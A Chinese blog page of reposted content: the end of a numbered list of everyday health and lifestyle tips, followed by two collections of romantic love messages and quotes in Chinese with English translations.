> > 48. 微波炉在工作时，请离开厨房
> > 49. 使用抽油烟机
> > 50. 晚餐时关掉电视机
> > 51. 尽量避免使用厚绒布窗帘
> > 52. 杀虫剂和清洁剂要放在远离起居场所的储物间
> > 53. 用天然的花香或果香代替芳香剂
> > 54. 和宠物嬉戏完要认真洗手
> > 55. 冬天居室里的加湿器使用纯净水
> > 56. 不要贪图方便将电脑带进卧室
> > 57. 不要把手机放在枕边充当闹钟
> > 58. 别在临睡前服药，安眠药也要提前半小时服用
> > 59. 头发没干时，别急着入睡
> > 60. 卧室的房间要用柔和色彩
> >
> > 黄色题板
> > 61. 在牛奶和豆浆之间，选择后者
> > 62. 觉得还可以再吃半碗饭时，离开餐桌
> > 63. 如果身体不感到饥渴，每天只需饮用4杯水
> > 64. 多喝酸奶
> > 65. 无论什么原因，都别抽烟
> > 66. 在食谱里添加杂粮和蔬菜
> > 67. 饮绿茶胜过红茶
> > 68. 重视早餐多过晚餐
> > 69. 控制盐的用量
> > 70. 起床后先刷牙，再喝水
> > 71. 经常嚼口香糖
> > 72. 一早一晚，两个苹果可以有效改善便秘
> > 73. 纯素食可能导致荷尔蒙分泌异常，造成不孕
> > 74. 每周至少吃一次鱼
> > 75. 远离可乐等碳酸饮料
> > 76. 不喝久煮的火锅汤
> > 77. 没有果汁牛奶这回事，它们是天生的冤家
> > 78. 饭前吃水果胜过饭后
> > 79. 睡前可以来一杯红葡萄酒
> > 80. 喝咖啡可能引起女性骨质疏松
> >
> > 橙色题板
> > 81. 多享受早晨8－9点的阳光
> > 82. 跑步、骑脚踏车等运动可以保持优美的腿部线条
> > 83. 热水泡脚可有效预防静脉曲张
> > 84. 精神极度疲倦时并不适宜以运动减压，休息更重要
> > 85. 冬季少做户外运动
> > 86. 10层以下，不乘坐电梯
> > 87. 每三个月改变一次你的健身菜单
> > 88. 每天运动半小时，而非周末运动3小时
> > 89. 运动前先卸妆
> > 90. 边看电视边做柔软体操
> > 91. 在游泳池里一定要戴上泳帽和泳镜
> > 92. 经常散步
> > 93. 午休也是健身的好时间，不一定非等到晚上
> > 94. 光脚穿运动鞋固然舒服，却对健康不利
> > 95. 睡半硬的床铺更有利于颈椎健康
> > 96. 去正规的医院而非美容院接受按摩
> > 97. 非运动状态下不喝功能性饮料
> > 98. 运动后休息半小时再入浴
> > 99. 不在过吵的健身房中锻炼
> > 100. 正确的姿势比专程去健身更有效

[转]甜甜蜜蜜情话中英文对照

1053750526@qq.com(清泉) — Wed, 22 Apr 2009 06:00:16 GMT

1、想你，是一种美丽的忧伤的甜蜜的惆怅，心里面，却是一种用任何语言也无法表达的温馨。
　　It is graceful grief and sweet sadness to think of you, but in my heart, there is a kind of soft warmth that can’t be expressed with any choice of words.

　　2、你知道思念一个人的滋味吗，就像喝了一大杯冰水，然后用很长很长的时间流成热泪。
　　Do you understand the feeling of missing someone? It is just like that you will spend a long hard time to turn the ice-cold water you have drunk into tears.

　　3、我知道你最喜欢这首歌，我也知道你的心思，我想你。
　　I know you like this song most and I know what you are thinking about ,too, I miss you .

　　4、常常想起曾和你在一起的那些日子。开心、快乐、幸福、失落、伤心、痛苦的所有日子。很想你，很想你……
　　Those days when we were together appear in my mind time after time, because they were so joyful, happy, blest, disappointing, sad and painful. I miss you ,and miss you so much……

　　5、你知道么，有个人时时想念着你，惦记你，你含笑的眼睛，象星光闪闪，缀在我的心幕上，夜夜亮晶晶。
　　Do you know there is someone thinking of you and caring you all the time ? Your smiling eyes are just like the sparkling stars hanging on the curtain of my heart.

　　6、心要让你听见，爱要让你看见，不怕承认对你有多眷恋；想你的时候，盼你能收到我的真情留言！
　　Listening to my heart beating. Seeing how much I love you ,I dare to admit how much I love you .When thinking of you, I hope you can receive the passionate words I left for you!

　　7、千万个思念，在空气中凝固。扬起风吹向你，带着我的祝福，寂寞我不在乎，你快乐我就满足，想你是我的幸福！
　　Thousand of time I have thought of you .My heart is going high into the air and flying with my blessing towards you I don’t care loneliness. I am satisfied when you are happy and I am happy when I think of you!

　　8、不是因为寂寞才想你，是因为想你才寂寞。孤独的感觉之所以如此之重，只是因为太想你。
　　I miss you not because of my loneliness but I do feel lonely when I miss you. Only when I miss you deeply I feel so lonely.

　　9、长长的思念，就像风筝断了线，飘啊飘啊，飘到你的身边。
　　I miss you so deeply that my love just like a kite has broken its line and won’t stop flying until it reaches you at last.

　　10、好想，好想你！如果清风有情，请带去我对你的思念，这一生都为你牵挂；如果白云有意，请带去我对你的爱恋，生生世世都愿和你共缠绵！
　　Oh, How much I miss you! If the passionate refreshing breeze knows my heart, it can tell you that I miss you and care you for my life’s time. If graceful white cloud knows my heart, it can tell you I love you and would be together with you forever.

11、一份不渝的友谊，执着千万个祝福，给我想念的朋友，温馨的问候。
　　For our ever-lasting friendship, send sincere blessings and warm greetings to my friends whom I miss so much.

12、在这快乐分享的时刻，思念好友的时刻，美梦成真的时刻，祝你—新年快乐，佳节如意！
　　Wish you a happy new year and a good fortune in the coming year when we will share our happiness, think of our good friends, and our dreams come true!

　　13、但愿会在梦中再见到我心爱的女孩！
　　Wish to meet my angle again lovely girl in my dream!

　　14、难道你怕一个深爱着你的痴情儿？
　　Do you fear a love fool who is loving you so deeply?

　　15、我要幸福的昏倒了！
　　I am too happy to stand faint!

　　16、月亮代表我的心！
　　The moonlight stands for my heart!

　　17、过得好么？希望世界因你而美丽！
　　How are you getting on ? I hope that the word will become more beautiful because of you!

　　18、你在时你是一切，你不在时一切是你！
　　You are everything when you are with me, and everything is you when you are not.

　　19、我不知道我是否真的爱，但是我知道我不能没有你，如果地球将要毁灭，那么我要告诉你“你是我唯一想见的人”。
　　I don’t know whether I really love you, but I know I cannot lose you. If the earth is going to be destroyed I want to tell you that you are the only one I want to see.

　　20、遇上一个人要一分钟的时间，喜欢一个人只需一小时的时间，爱上一个人要一天的时间，可要我忘记你却要用上一生的时间。
　　I can meet a person in a minute, like a person in an hour and love a person in a day, but it will take me a whole life to forget you.

[转]情话大全（中英文对照)

1053750526@qq.com(清泉) — Wed, 22 Apr 2009 05:59:36 GMT

<都是抄别人的，尽量抄吧！>
Where there is great love, there are always miracles.
哪里有真爱存在，哪里就有奇迹。
Love is like a butterfly. It goes where it pleases and it pleases where it goes.
爱情就像一只蝴蝶，它喜欢飞到哪里，就把欢乐带到哪里。
If I had a single flower for every time I think about you, I could walk forever in my garden.
假如每次想起你我都会得到一朵鲜花，那么我将永远在花丛中徜徉。
Within you I lose myself, without you I find myself wanting to be lost again.
有了你，我迷失了自我。失去你，我多么希望自己再度迷失。
At the touch of love everyone becomes a poet.
每一个沐浴在爱河中的人都是诗人。
Look into my eyes － you will see what you mean to me.
看看我的眼睛，你会发现你对我而言意味着什么。
Distance makes the hearts grow fonder.
距离使两颗心靠得更近。
I need him like I need the air to breathe.
我需要他，正如我需要呼吸空气。
If equal affection cannot be, let the more loving be me.
如果没有相等的爱，那就让我爱多一些吧。
Love is a vine that grows into our hearts.
爱是长在我们心里的藤蔓。
If I know what love is, it is because of you.
因为你，我懂得了爱。
Love is the greatest refreshment in life.
爱情是生活最好的提神剂。
Love never dies.
爱情永不死。
The darkness is no darkness with thee.
有了你，黑暗不再是黑暗。
We cease loving ourselves if no one loves us.
如果没有人爱我们，我们也就不会再爱自己了。
There is no remedy for love but to love more.
治疗爱的创伤唯有加倍地去爱。
When love is not madness, it is not love.
如果爱不疯狂就不是爱了。
A heart that loves is always young.
有爱的心永远年轻。
Love is blind.
爱情是盲目的。
Love is like the moon, when it does not increase, it decreases.
爱情就像月亮，不增则减。
The soul cannot live without love.
灵魂不能没有爱而存在。
Brief is life, but love is long.
生命虽短，爱却绵长。
Who travels for love finds a thousand miles not longer than one.
在爱人眼里，一千里的旅程不过一里。
Love keeps the cold out better than a cloak.
爱比大衣更能驱走寒冷。
Take away love, and our earth is a tomb.
没有了爱，地球便成了坟墓。
My heart is with you.
我的爱与你同在。
I miss you so much already and I haven't even left yet!
尽管还不曾离开，我已对你朝思暮想！
I'll think of you every step of the way.
我会想你，在漫漫长路的每一步。
Wherever you go, whatever you do, I will be right here waiting for you.
无论你身在何处，无论你为何忙碌，我都会在此守候。
Passionate love is a quenchless thirst.
热烈的爱情是不可抑制的渴望。
The most precious possession that ever comes to a man in this world is a woman's heart.
在这个世界上，男人最珍贵的财产就是一个女人的心。
One word frees us of all the weight and pain in life.That word is love.
有一个词可以让我们摆脱生活中所有的负担和痛苦，那就是"爱情"。
Every day without you is like a book without pages.
没有你的日子就像一本没有书页的书。
Love is hard to get into, but harder to get out of.
爱很难投入，但一旦投入，便更难走出。
Love is a light that never dims.
爱是一盏永不昏暗的明灯。
May your love soar on the wings of a dove in flight.
愿你的爱乘着飞翔的白鸽，展翅高飞。
She who has never loved, has never lived.
人活着总要爱一回。
Life is the flower for which love is the honey.
生命如花，爱情是蜜。
No words are necessary between two loving hearts.
两颗相爱的心之间不需要言语。
Precious things are very few in this world. That is the reason there is just one you.
在这世上珍贵的东西总是罕有，所以这世上只有一个你。
You make my heart smile.
我的心因你而笑。
The road to a lover's house is never long.
通往爱人家里的路总不会漫长。
Why do the good girls, always want the bad boys?
为何好女孩总喜欢坏男孩？
Being with you is like walking on a very clear morning.
和你在一起就像在一个清爽的早晨漫步。
It is never too late to fall in love.
爱永远不会嫌晚。
To the world you may be just one person. To the person you may be the world.
对于世界，你可能只是一个人，但对于某个人，你却是整个世界。
Where there is love, there are always wishes.
哪里有爱，哪里就有希望。
You don't love a woman because she is beautiful, but she is beautiful because you love her.
你不会因为美丽去爱一个女人，但她却会因为你的爱而变得美丽。
Love is something eternal; the aspect may change, but not the essence.
爱是永恒的，外表可能改变，但本质永远不变。
Love is not a matter of counting the days. It's making the days count.
爱情不是数着日子过去，它让每个日子都变得有意义。
With the wonder of your love, the sun above always shines.
拥有你美丽的爱情，太阳就永远明媚。
Love is a fabric that nature wove and fantasy embroidered.
爱情是一方织巾，用自然编织，用幻想点缀。
First love is unforgettable all one's life.
初恋是永生难忘的。
In the very smallest cot there is room enough for a loving pair.
哪怕是最小的茅舍，对一对恋人来说都有足够的空间。
Love without end hath no end.
情绵绵，爱无边。